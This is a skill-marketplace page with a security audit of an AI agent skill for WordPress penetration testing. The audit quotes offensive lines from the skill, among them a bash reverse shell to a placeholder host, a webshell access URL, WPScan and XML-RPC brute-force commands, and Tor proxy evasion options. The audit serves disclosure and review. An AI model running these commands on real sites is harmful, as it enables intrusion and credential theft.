📦
content-creator
88Create Brand-Consistent Marketing Content
Marketing teams need content that stays consistent across channels. This skill helps plan, write, analyze, and optimize content for brand voice and SEO.
Writing & Content View
Skills wordpress-penetration-testing
📦
wordpress-penetration-testing
v1.1 Content revision r1 Critical ⚡ Contains scripts⚙️ External commands🌐 Network access
Assess WordPress Security
WordPress assessments require repeatable checks for versions, plugins, themes, users, and exposure. This skill organizes authorized testing steps and reporting outputs for Claude, Codex, and Claude Code users.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "wordpress-penetration-testing" from https://skillstore.io/skills/sickn33-wordpress-penetration-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-wordpress-penetration-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "wordpress-penetration-testing". Plan a WordPress assessment for a small business site with written authorization.
Expected outcome:
A phased checklist covering scope confirmation, passive discovery, WPScan enumeration, plugin and theme review, controlled validation, evidence capture, and remediation reporting.
Using "wordpress-penetration-testing". Summarize these findings: old plugin, exposed users endpoint, readable readme file.
Expected outcome:
A concise risk summary that explains exposed version and user data, affected components, likely impact, and recommended fixes.
Using "wordpress-penetration-testing". Create a report outline for a completed WordPress security review.
Expected outcome:
A professional report structure with executive summary, methodology, findings, evidence, severity, remediation, retest steps, and scope notes.
Security Audit
Criticalv6 • 7/9/2026 Open versioned report
The audit confirms extensive offensive WordPress testing guidance. It includes active scanning, credential attacks, Metasploit exploitation, reverse shells, webshell creation, and proxy guidance. Many Markdown syntax findings are false positives, but the confirmed findings show high-risk dual-use and abuse-enabling content.
1
Files scanned
486
Lines analyzed
100
Review items
0
False positives ignored
Confirmed security concerns (12)
Critical
Metasploit framework
- Metasploit Framework
The skill explicitly requires or launches Metasploit for WordPress shell upload exploitation. That framework use supports payload deployment against targets.
Critical
Metasploit framework
#### Metasploit Shell Upload
The skill explicitly requires or launches Metasploit for WordPress shell upload exploitation. That framework use supports payload deployment against targets.
Critical
Metasploit framework
# Start Metasploit
The skill explicitly requires or launches Metasploit for WordPress shell upload exploitation. That framework use supports payload deployment against targets.
Critical
Malware type keywords
// Or use weevely backdoor
The line recommends a weevely backdoor immediately after reverse shell code. This is malware-style persistence and remote access guidance.
Critical
Malicious WordPress Plugin Webshell
The skill instructs creation of a malicious plugin that executes a cmd parameter with PHP system, then shows accessing it with a command query.
The plugin code directly maps a web request parameter to system command execution, which is a classic webshell pattern.
Critical
Reverse Shell and Backdoor Deployment Guidance
The skill tells users to edit WordPress theme files, add PHP reverse shell code, and optionally use a weevely backdoor for access.
The instructions explicitly describe shell access through a theme editor and include a reverse shell command and backdoor mention.
High
System reconnaissance
- Avoid aggressive modes on monitored sites
The line advises changing behavior around monitored sites, which supports stealth during reconnaissance. The surrounding section includes user-agent and proxy rotation guidance.
High
Network scanning tools
- Nmap for initial discovery
The skill lists and uses Nmap for WordPress discovery. Network scanning against targets is a real dual-use capability requiring strict authorization.
Show all 12 confirmed findings
High
Network scanning tools
# Nmap WordPress detection
The skill lists and uses Nmap for WordPress discovery. Network scanning against targets is a real dual-use capability requiring strict authorization.
High
Network scanning tools
nmap -p 80,443 --script http-wordpress-enum target.com
The skill lists and uses Nmap for WordPress discovery. Network scanning against targets is a real dual-use capability requiring strict authorization.
High
Credential Brute Force Workflow
The skill gives WordPress password attack procedures using WPScan, wordlists, multiple users, thread counts, XML-RPC attack modes, and targeted wordlist generation.
The section is explicitly titled Password Attacks and contains concrete commands for brute forcing WordPress credentials.
High
Detection Evasion and Proxy Rotation Guidance
The skill includes Tor proxy scanning, local proxy routing, random user agents, throttling, proxy rotation, and advice about monitored sites.
The proxy and evasion sections provide concrete steps to route or alter scanner traffic during WordPress testing.
Capability review items (100)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Python exec() function
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
The PHP example executes a bash reverse shell from a WordPress theme file. This is direct remote command execution guidance and enables unauthorized shell access.
Critical
Process exec
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
The line invokes a bash reverse shell through PHP exec in a WordPress theme file. It is operational exploitation guidance, not benign command usage.
Critical
Ruby/shell backtick execution
```bash
The code block contains Metasploit module usage to upload shells or run WordPress exploit modules. This is actionable exploitation tooling.
Critical
Ruby/shell backtick execution
```bash
The code block contains Metasploit module usage to upload shells or run WordPress exploit modules. This is actionable exploitation tooling.
Critical
Ruby/shell backtick execution
```php
The PHP code block instructs adding a reverse shell to a WordPress theme file. This is direct remote shell deployment guidance.
Critical
Ruby/shell backtick execution
```bash
The block creates and packages a malicious WordPress plugin that calls system on a cmd parameter. This is webshell creation and remote command execution guidance.
Critical
Unix shell invocation
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
The line invokes a bash reverse shell through PHP exec in a WordPress theme file. It is operational exploitation guidance, not benign command usage.
Critical
Hardcoded URL
// Access via: http://target.com/wp-content/themes/theme_name/404.php
The URL is used to access a planted reverse shell or malicious plugin webshell. This is exploitation and remote command execution workflow evidence.
Critical
Hardcoded URL
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
The URL is used to access a planted reverse shell or malicious plugin webshell. This is exploitation and remote command execution workflow evidence.
High
Ruby/shell backtick execution
```bash
The code block contains WPScan credential brute-force commands with wordlists and XML-RPC attack modes. These commands are high-risk when used outside an authorized test.
High
Ruby/shell backtick execution
- `wp-login` - Standard login form
The inline entries describe WordPress password attack modes, including XML-RPC multicall. The context is credential brute forcing rather than harmless formatting.
High
Ruby/shell backtick execution
- `xmlrpc` - XML-RPC multicall (faster)
The inline entries describe WordPress password attack modes, including XML-RPC multicall. The context is credential brute forcing rather than harmless formatting.
High
Ruby/shell backtick execution
- `xmlrpc-multicall` - Multiple passwords per request
The inline entries describe WordPress password attack modes, including XML-RPC multicall. The context is credential brute forcing rather than harmless formatting.
High
Ruby/shell backtick execution
```bash
The code block builds an XML-RPC multicall request with username and password guesses. This is credential attack automation against WordPress.
High
Ruby/shell backtick execution
```bash
The code block shows scanning through Tor and local proxies. In this skill context, proxy usage supports evasive or anonymized scanning.
High
Ruby/shell backtick execution
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
The table row contains an actionable WPScan command against a target. It is external command guidance, with higher risk where password attacks are shown.
High
Ruby/shell backtick execution
- Use random user agents: `--random-user-agent`
The inline option appears in a detection evasion section and supports changing scanner behavior during monitored testing. This is risky in a marketplace skill.
High
Ruby/shell backtick execution
- Throttle requests: `--throttle 1000`
The inline option appears in a detection evasion section and supports changing scanner behavior during monitored testing. This is risky in a marketplace skill.
High
Hardcoded URL
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
High
Hardcoded URL
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
High
Hardcoded URL
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
High
Hardcoded URL
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
High
Hardcoded URL
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
High
Hardcoded URL
cewl http://target.com -w wordlist.txt
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
High
Hardcoded URL
wpscan --url http://target.com -U admin -P wordlist.txt
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
High
Hardcoded URL
curl -X POST http://target.com/xmlrpc.php
The URL is used for XML-RPC probing and multicall credential testing. This can support account takeover attempts against WordPress sites.
High
Hardcoded URL
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></metho
The URL is used for XML-RPC probing and multicall credential testing. This can support account takeover attempts against WordPress sites.
High
Hardcoded URL
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
The URL is used for XML-RPC probing and multicall credential testing. This can support account takeover attempts against WordPress sites.
High
Hardcoded URL
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
High
Hardcoded URL
wpscan --url http://target.com --proxy http://127.0.0.1:8080
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
High
Hardcoded URL
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
High
Hardcoded URL
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
The table repeats WPScan commands against a target, including password attack and aggressive scan examples. These are actionable network testing commands.
High
Hardcoded IP address
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
High
Hardcoded IP address
wpscan --url http://target.com --proxy http://127.0.0.1:8080
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
High
Hardcoded IP address
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
High
SOCKS proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
Medium
Ruby/shell backtick execution
```bash
The code block contains cURL discovery and Nmap WordPress detection commands. These external commands perform active reconnaissance against a target.
Medium
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
Medium
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
Medium
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
Medium
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
Medium
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
Medium
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
Medium
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
Medium
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
Medium
Ruby/shell backtick execution
```
The finding appears in an offensive WordPress testing skill and could support target interaction. Kept fail-closed because the surrounding context is dual-use security tooling.
Medium
Ruby/shell backtick execution
```
The finding appears in an offensive WordPress testing skill and could support target interaction. Kept fail-closed because the surrounding context is dual-use security tooling.
Medium
Ruby/shell backtick execution
```bash
The block contains WPScan examples for HTTP authentication and disabled TLS checks. It is active network tooling, though it can be legitimate in authorized testing.
Medium
Ruby/shell backtick execution
| Basic scan | `wpscan --url http://target.com` |
The table row contains an actionable WPScan command against a target. It is external command guidance, with higher risk where password attacks are shown.
Medium
Ruby/shell backtick execution
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
The table row contains an actionable WPScan command against a target. It is external command guidance, with higher risk where password attacks are shown.
Medium
Ruby/shell backtick execution
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
The table row contains an actionable WPScan command against a target. It is external command guidance, with higher risk where password attacks are shown.
Medium
Hardcoded URL
wpscan --url http://target.com --http-auth admin:password
The URL appears in authenticated WPScan examples and TLS-check disabling. It is network testing guidance for a target, but it can also be legitimate in authorized audits.
Medium
Hardcoded URL
wpscan --url https://target.com --disable-tls-checks
The URL appears in authenticated WPScan examples and TLS-check disabling. It is network testing guidance for a target, but it can also be legitimate in authorized audits.
Medium
Hardcoded URL
| Basic scan | `wpscan --url http://target.com` |
The table repeats WPScan commands against a target, including password attack and aggressive scan examples. These are actionable network testing commands.
Medium
Hardcoded URL
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
The table repeats WPScan commands against a target, including password attack and aggressive scan examples. These are actionable network testing commands.
Medium
Hardcoded URL
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
The table repeats WPScan commands against a target, including password attack and aggressive scan examples. These are actionable network testing commands.
Low
Hardcoded URL
curl -s http://target.com | grep -i wordpress
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com | grep -i "wp-content"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com | grep -i "wp-includes"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -I http://target.com/wp-login.php
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -I http://target.com/wp-admin/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -I http://target.com/wp-content/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -I http://target.com/xmlrpc.php
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com | grep "generator"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com/wordpress/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com --api-token YOUR_API_TOKEN
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com --detection-mode aggressive
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -o results.txt
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -f json -o results.json
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -v
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com/readme.html | grep -i version
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com/feed/ | grep -i generator
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com | grep "?ver="
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com | grep 'name="generator"'
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com/feed/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com/comments/feed/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -e at
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -e vt
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -e at --plugins-detection aggressive
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com | grep "wp-content/themes/"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com/wp-content/themes/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -e ap
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -e vp
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -e ap --plugins-detection aggressive
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -e ap --plugins-detection mixed
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com | grep "wp-content/plugins/"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com/wp-content/plugins/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -e u
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -e u1-100
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com/wp-json/wp/v2/users
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -e at -e ap -e u
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -e vp,vt,u,cb,dbe
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Low
Hardcoded URL
wpscan --url http://target.com -e at,ap,u,cb,dbe \
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
Risk Factors
⚡ Contains scripts (1)
⚙️ External commands (50)
SKILL.md:313 SKILL.md:43-60 SKILL.md:60-63 SKILL.md:63-64 SKILL.md:64-65 SKILL.md:65-66 SKILL.md:66-67 SKILL.md:67-68 SKILL.md:68-69 SKILL.md:69-75 SKILL.md:75-93 SKILL.md:93-99 SKILL.md:99-114 SKILL.md:114-126 SKILL.md:126-139 SKILL.md:139-142 SKILL.md:142-149 SKILL.md:149-155 SKILL.md:155-171 SKILL.md:171-174 SKILL.md:174-183 SKILL.md:183-189 SKILL.md:189-209 SKILL.md:209-215 SKILL.md:215-235 SKILL.md:235-241 SKILL.md:241-260 SKILL.md:260-263 SKILL.md:263-264 SKILL.md:264-265 SKILL.md:265-273 SKILL.md:273-285 SKILL.md:285-289 SKILL.md:289-301 SKILL.md:301-307 SKILL.md:307-318 SKILL.md:318-322 SKILL.md:322-342 SKILL.md:342-348 SKILL.md:348-382 SKILL.md:382-386 SKILL.md:386-395 SKILL.md:395-399 SKILL.md:399-405 SKILL.md:405-413 SKILL.md:413-414 SKILL.md:414-415 SKILL.md:415-416 SKILL.md:416-417 SKILL.md:417-418
🌐 Network access (50)
SKILL.md:45 SKILL.md:46 SKILL.md:47 SKILL.md:50 SKILL.md:51 SKILL.md:52 SKILL.md:53 SKILL.md:56 SKILL.md:77 SKILL.md:80 SKILL.md:83 SKILL.md:86 SKILL.md:89 SKILL.md:92 SKILL.md:101 SKILL.md:104 SKILL.md:105 SKILL.md:106 SKILL.md:109 SKILL.md:112 SKILL.md:113 SKILL.md:128 SKILL.md:131 SKILL.md:134 SKILL.md:137 SKILL.md:138 SKILL.md:147 SKILL.md:148 SKILL.md:157 SKILL.md:160 SKILL.md:163 SKILL.md:166 SKILL.md:169 SKILL.md:170 SKILL.md:182 SKILL.md:191 SKILL.md:194 SKILL.md:198 SKILL.md:202 SKILL.md:205 SKILL.md:208 SKILL.md:217 SKILL.md:220 SKILL.md:232 SKILL.md:243 SKILL.md:246 SKILL.md:249 SKILL.md:252 SKILL.md:255 SKILL.md:258
Detected Patterns
Metasploit framework×3Malware type keywordsSystem reconnaissanceNetwork scanning tools×3
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-wordpress-penetration-testing/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-wordpress-penetration-testing?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-wordpress-penetration-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-wordpress-penetration-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-wordpress-penetration-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
sickn33. (2026). wordpress-penetration-testing security audit report (audit version 6) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-wordpress-penetration-testing/audits/6BibTeX citation
@techreport{sickn33-sickn33-wordpress-penetration-testing-2026,
author = {sickn33},
title = {wordpress-penetration-testing security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-wordpress-penetration-testing/audits/6},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "wordpress-penetration-testing security audit report (audit version 6)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-wordpress-penetration-testing/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-wordpress-penetration-testing:audit:6"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
69
Community
83
Spec Compliance
What You Can Build
Prepare Client Assessment
Build a scoped WordPress test plan covering discovery, enumeration, vulnerability review, and reporting evidence.
Review Site Exposure
Check visible WordPress versions, plugins, themes, users, and public endpoints before a remediation sprint.
Validate Security Training Lab
Create a controlled lab workflow that demonstrates WordPress enumeration and defense validation.
Try These Prompts
Plan a Safe Assessment
Create a WordPress security assessment checklist for an authorized target. Include scope, safe enumeration steps, evidence to collect, and reporting sections.
Analyze Enumeration Results
Review these WordPress enumeration notes and identify likely risks, missing evidence, and remediation priorities. Do not add exploitation steps.
Prioritize Vulnerabilities
Turn this WordPress finding list into a prioritized remediation plan with affected components, business impact, evidence, and verification steps.
Design an Authorized Test Plan
Design a scoped WordPress penetration test plan for a signed engagement. Include rules of engagement, rate limits, tool choices, safety controls, and deliverables.
Best Practices
- Confirm written authorization, scope, rate limits, and testing windows before using any tool output.
- Prefer passive checks and low-impact enumeration before aggressive scans or credential testing.
- Record evidence, timestamps, target URLs, tool versions, and remediation guidance for every finding.
Avoid
- Do not test public WordPress sites without explicit written permission.
- Do not run credential attacks, exploit modules, or shell upload steps on production systems without approval.
- Do not treat automated scanner output as confirmed without manual validation and business context.
Frequently Asked Questions
Is this skill only for authorized testing?
Yes. It should only be used when the tester has written permission and a defined scope.
Does it require WPScan?
Many workflows use WPScan. Some manual checks use cURL, browser review, or proxy tools.
Can it verify plugin vulnerabilities?
It can guide evidence collection and triage. Manual validation is still required before reporting impact.
Can it help write a client report?
Yes. It can structure findings, evidence, severity, impact, remediation, and retest steps.
What risks does this skill have?
It includes offensive testing concepts. Misuse can cause unauthorized access, service disruption, or legal harm.
Should it be used on production sites?
Only within an approved engagement with safe timing, rate limits, backups, and stakeholder awareness.
Developer Details
Author
sickn33License
MIT
Author version
v1.1
Skillstore revision
r1
Version notice
The author-declared version is not valid SemVer.
Repository
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/wordpress-penetration-testingRef
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Maintenance freshness
7/18/2026
Usage
8 downloads · 158 views
File structure
📄 SKILL.md
More from sickn33
View all📦
prompt-engineering-patterns
85Improve LLM Prompts With Proven Patterns
Inconsistent prompts waste time and make AI outputs hard to trust. This skill guides prompt design with reusable patterns, examples, evaluation steps, and optimization workflows.
Productivity View
📦
senior-architect
81Review Architecture Workflows and Project Paths
Architecture reviews need a consistent starting point and clear project boundaries. This skill provides workspace-scoped tool templates, command examples, and generic design references.
Coding & Development View
📦
senior-fullstack
81Review Fullstack Project Foundations
Fullstack project setup can require many tools and checks. This skill provides basic local wrappers, common commands, and general engineering guidance.
Coding & Development View
📦
prompt-engineer
81Optimize AI Prompts With Prompt Engineer
Writing clear prompts is hard when goals are vague or complex. This skill turns rough requests into structured prompts using proven prompt frameworks.
Productivity View
📦
product-manager-toolkit
80Prioritize Product Work With Research Insights
Product teams need faster ways to rank features, synthesize interviews, and document decisions. This skill provides RICE scoring, interview analysis, and PRD templates for structured planning.
Productivity View
Related Skills
View all📦
security-audit
79Audit Applications for Security Risk
by 89jobrien
Security reviews can miss common vulnerabilities when scope, severity, and remediation are unclear. This skill guides structured audits using OWASP checks, CVSS scoring, and report templates.
Security & Compliance View
📦
security-report
78Create Security Assessment Reports
by BytR-Ecosystems
Security findings often become inconsistent reports that are difficult to prioritize. This skill guides structured DOCX reports with risk ratings, evidence, and remediation plans.
Security & Compliance View
📦
senior-security
81Strengthen Application Security Reviews
by alirezarezvani
Security reviews often lack consistent checklists and reusable workflows. This skill provides security review scaffolds, reference guidance, and simple reporting scripts for Claude, Codex, and Claude Code.
Security & Compliance View
📦
skill-check
80Validate Agent Skills Before Release
by JckJhns
Skill authors need evidence that a skill works and does not expose users to avoidable risk. SkillCheck reviews structure, security, evals, scripts, and outputs through tiered checks.
Security & Compliance View
📦
azure-compliance
79Audit Azure Compliance and Key Vault Expiration
by microsoft
Azure teams need a consistent way to identify compliance gaps and expiring Key Vault assets. This skill runs scoped assessments and produces prioritized remediation guidance.
Security & Compliance View
📦
security-sentinel
79Audit Code for Security Risks
by Barnhardt-Enterprises-Inc
